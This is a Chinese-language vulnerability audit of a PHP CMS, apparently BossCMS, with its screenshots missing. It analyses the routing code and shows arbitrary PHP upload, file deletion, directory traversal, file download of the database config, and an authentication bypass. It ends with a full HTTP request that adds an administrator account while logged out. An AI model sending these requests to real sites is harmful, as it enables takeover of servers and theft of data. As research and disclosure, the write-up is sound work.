路由分析:
第一步首先去找到index.php文件,上面定义了一些常量,这里的常量决定了该index.php路由。
我们接着去看enter.php文件。
在该文件中定义了一些常量,包含了into.class.php文件并调用了 into 类下的 load() 方
法。我们继续跟进该方法
我们继续跟进 load_class() 方法。
在load_class()方法中需要传入四个参数,第一个参数 $type 是判断该功能点是前台功能点还是后台功能
点,也就是决定代码19行的$type路径是在哪个文件夹下,由于SYSTEM_PATH常量定义为system目录
$mold 参数定位功能目录, $part 决定调用目录下哪个
php文件, $func 则是定位文件下调用的方法。
我们在后台查看功能点的时候,发现一处可以编辑上传类型的地方,这里添加一个允许上传后缀.php,
这里可以添加成功。
进行.php文件的上传,但这里提示后缀名不允许上传,
这里我们去抓包查看。
通过路由找到对应源码
这里调用了controller.php,6-10行定义了常量也就是路由的走向,通过包含 enter.php 调用路由文件
进行路由选择,也就是我们上面分析的路由。
通过路由找到功能点文件ueditor.php下ueditor类下的init()方法,上面的路由中传入了
uploadimage ,分支的选择是通过读取config[]来进行选择的,config的内容是从哪里获取的
在类的最上面通过 __construct() 调用 load_json() 方法进行 config 内容的获取,
继续跟进load_json()方法。
通过前面传入的config.json获取该json文件中的文件内容。
前面action中传入了uploadimage,所以进入了该分支,并调用了上面的uploadimage()方法
我们接着上面继续跟进分支中的uploadimage()方法。
在 uploadimage() 方法中使用$FILES接上上传文件,而这里调用的upload::files()方法才是上传的关
键,我们继续跟进files()方法。
向上追溯的时候,我们发现要想上传文件这里需要满足两个条件:
从这里我们发现 $ext 是获取我们上传的后缀名,而这里的 $extension 是从哪里获取到的呢
全局搜索 upload_extension 可以发现该处正是我们上面通过自定义设置的.php后缀,所以
第一个条件是满足的。
而第二个条件 (!$type || ($type && !$in) 我们只需满足一个条件即可 !$type=true 或者
($type=true && !$in=true) , !$type=true 那么$type的值为NULL即可。
我们全局搜索extension中定义的类型,发现extension.json文件中定义了我们上传的类型
所以想要实现php文件的上传,我们需要传入的type类型为code才行
我们全局查看files()方法调用,发现该处功能点传入的类型中有code,我们跟进该方法进行查看。
而在uploadfile()方法中就一目了然了,该处调用files()方法并且可以上传code类型下的后缀文件,而
code下包含我们想要上传的.php后缀。所以此处功能点满足上面的两个条件可以实现任意文件上传。
在编辑器上传附件的地方,找到一个使用编辑器的地方,通过附
件上传.php文件,这也就满足了第二个条件此处调用了uploadfile()方法。
我们继续查看ueditor.class.php文件时发现该文件下还存在一个delete()方法,这个是编辑
器中删除文件的一个方法,我们去分析一下该方法。
通过全局搜索store_type发现该处功能为设置存储方式,默认为0,所以上面默认会走dir类下的delete()
方法。从功能点也不难找到
由于在上面只通过正则限制我们开头必须为upload这里很好绕过,我们跟进dir类下的delete()方法查看
该方法:
传入的path参数经过replace()方法后直接进行了unlink()删除,所以我们继续跟进
replace()方法查看该方法是否存在过滤
这里的replace()方法并未做过滤,而是一些路径的优化。所以这里的path就可以控制造成任意文件删除。
我们可以直接构造出该方法的路由
我们接着翻找 ueditor.class.php 文件下的方法时,找到一处 lists() 方法,在代码327行处
$folder 参数是通过GET传入且没有进行任何过滤就拼接到$path路径中。
在read()方法中我们可以看到代码129-130行通过opendir()、readdir()打开目录并读取目录中的内容,
而上面的replace()方法我们在上面任意文件删除也进行了分析,是做路径优化的。
我们在回到lists()方法中,由于该方法通过路由不能直接调用,所以我们去查看lists()的调用情况,我们
发现有三处调用了lists()方法
我们找到一处 listfile() 方法进行分析,在该方法的312行处调用了lists()方法,那这里的传入的
$path参数 config['fileManagerListPath'] 指的是什么呢?
我们去全局搜索 fileManagerListPath ,找到该值是upload/路径,也就是说上面要读取的文件是
upload目录下的文件,我们从上面的分析中可以知道lists()方法中传入的 $folder 参数没有进行过滤就
拼接到 $path 中所以这里是存在目录遍历的。
那我们如何进行调用 listfile() 方法实现目录遍历呢,我们知道 ueditor.class.php 的路由是
通过同级目录下的controller.php进行方法的调用的通过路由我们知道首先要调用这里的init()方法,在该方法中通过传入action参数实现类中方法的调用。
使用这个接口进行漏洞复现
GET /system/extend/ueditor/php/controller.php?action=listfile&folder=../../../ HTTP/1.1
在测试功能点的时候我们发现 安全设置- 数据备份- 备份列表- 下载处存在一处任意文件下载,我
们抓包去分析该处下载功能点。
通过上面的路由分析我们不难找到这里的 download() 方法,这里通过66行GET传入 id 参数,在67行将
传入的id参数拼接到路径中,这里的sql为上面定义的路径,最后在代码73行处使用readfile()函数进行文
件读取。
漏洞复现:
通过 ../ 实现目录跳转,读取mysql配置文件。
我们从第一处编辑器任意文件上传来分析,我们发现在ueditor类中继承了一个admin类,而在文件的最
上面通过 basic_class() 来加载 admin.class.php 文件。
在代码85行处判断是否设置 $func 参数,如果没有则将 $func 默认设置为 init ,然后在最下面调用
load_class() 加载类文件,然后加载admin类文件下的 init() 方法。
在调用admin类下的 init() 方法中通过session类下的 get() 方法获取登录后的session,如果读取不
到session的话get()方法则返回false,那么这里就会进入到16行的if条件,在17行判断是否定义
IS_LOGIN 常量,如果未定义则通过header()进行跳转,在跳转后代码仍然会继续向下执行而没有使用
die()函数结束下面语句的执行。
那么会继续走ueditor类下的 init() 方法,实现文件上传。
如果在代码中加入 die() 函数,那么获取不到session后直接退出而不会向下执行后面的代码。
然后在后台中发现允许上传类型中出现了.php文件类型
最后通过编辑器的文件上传功能进行文件上传,从下图可以看到文件上传已经成功然后进行302跳转。
进入站点设置,然后进行文件上传。
抓包通过路由定位源码,然后分析源码
在/system/basic/class/upload.class.php下
发现上传文件需要满足两个条件,这里都不满足。
全局搜索upload_extension,查看safe.php文件。
存在允许上传类型,那么直接添加.php然后保存。
可以看出这时候$extension数组中多了一个值即.php,成功满足第一个要求
第二个条件
要让!$type!=true,也就是让$type=null即可。
$t是遍历$arrary获得的,而$array是分割$type获得的,可以看到files函数调用时$type默认值是null,那么就是调用时指定code值
在code键值中看到了我们想要上传的.php
所以的我们的$t应该为code,再回到upload.class.php
跟踪函数。
在system/basic/class/admin.class.php文件存在init函数。
当判断未登录时通过header进行页面跳转,但是没有exit()或者die()终止程序运行
所以还是能够得到自己的结果后才跳转。
在未登录状态下
先执行删除,成功执行得到结果
然后成功跳转到了登录页面。
用户的操作相对于来说也算敏感操作,首先去确定位置
定位到/system/admin/manager/manager.class.php
其中的add,edit,delete三个函数参数都是由请求获得的,这些方法都是可控的。
根据规则构造请求包,以下为关键点
mold=manager&part=manager&func=add /system/admin/manager/manager.class.php中的add函数
请求包
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
123456
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
123456
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"
1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryB067fgIWBKtHI4Gy--
构造请求包。然后输入用户和密码
使用burpsuite,成功添加管理员用户
最后使用该账号成功登录。
https://blog.csdn.net/weixin_45794666/article/details/122684119
https://www.ciocso.com/article/758.html
https://xz.aliyun.com/t/10804